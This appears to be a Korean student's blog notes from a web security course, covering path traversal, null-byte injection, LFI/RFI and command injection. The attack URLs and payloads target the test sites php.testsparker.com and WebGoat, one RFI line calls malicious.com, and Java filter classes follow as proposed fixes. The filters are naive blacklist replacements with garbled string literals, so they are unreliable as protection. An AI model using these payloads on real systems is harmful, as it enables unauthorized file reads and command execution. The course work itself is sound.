[웹보안] 웹보안 3일차 - 오후



졸리다 졸리다 졸리다아아아





1. 다운로드 취약점


다운로드 취약점 테스트


http://php.testsparker.com



1) 경로(path traversal)


다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다


host/../../../../../../



../../../../../../windows/system32/drivers/etc/hosts





http://php.testsparker.com/process.php?file=Generics/index.nsp 

이렇게 생겨먹은걸

http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts





2) 널바이트 인젝션


%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나


뭐 또 나쁜짓 하겠지


졸려서 뭔말인지도 잘 못알아 듣겠슴....



예)


http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp



이렇게 하면 시스템 정보를 가져 올 수 있다



위에 보면 호스트 정보가 표출 된다.


../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고


%00.nsp 를 이용해 해당 정보를 받아온다


%00.nsp를 넣는 이유는


burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고


%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다


.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것


뭔말인지 모르겠지만 나도 모르겠다 개어렵네 




해결 방법


1
2
data = data.replaceAll("\"""");
data = data.replaceAll(".""");
cs


이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
public class XpathFilter {
 static String Xpath(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     data = data.replaceAll("(""");
     return data;
}
 
 static String crlf(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("\r""");
         data = data.replaceAll("\n""");
         return data;
    }
 
 static String download(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("./""");
         data = data.replaceAll("../""");
         data = data.replaceAll("..\\""");
         data = data.replaceAll("\\\\""");
         return data;
    }
 
}
cs



 이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함






LFI(local file inclusion)


file?param=../../../etc/[asswd



RFI(Remote file inclusion)


file?param=http://www.malicious.com/a.txt





2. 파라미터 변조


명령어를... 그.. 뭐지... 그...


그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..


1
2
3
4
5
6
7
8
9
10
11
12
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help""\\.html");
 
if (osName.indexOf("Windows"!= -1)
{
        // Add quotes around the filename to avoid having special characters in DOS
        // filenames
        results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
        fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
}
cs



이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.

어지간한 프로젝트에선 쓸일도 없을거임.



" & netstat -rn


-> url 


%22+%26+netstat+-rn







webgoat에서 명령어 날리는 프록시 가로채서 


%22+%26+netstat+-rn


이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.



해결방법


1
2
3
4
5
6
7
8
static String commandIn(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("&""");
         data = data.replaceAll("%26""");
         data = data.replaceAll("%22""");
         data = data.replaceAll("\"""");
         return data;
    }
cs



이런 필터 만들어서 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                String results;
                String fileData = null;
                helpFile = helpFile.replaceAll("\\.help""\\.html");
                
                // 필터링 발동!
                helpFile = XpathFilter.commandIn(helpFile);
                        
                if (osName.indexOf("Windows"!= -1)
                {
                    // Add quotes around the filename to avoid having special characters in DOS
                    // filenames
                    results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
                    fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
                }
cs


7번 라인 처럼 이렇게 필터링 해주자





-이전 포스팅 -


2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전




+ Recent posts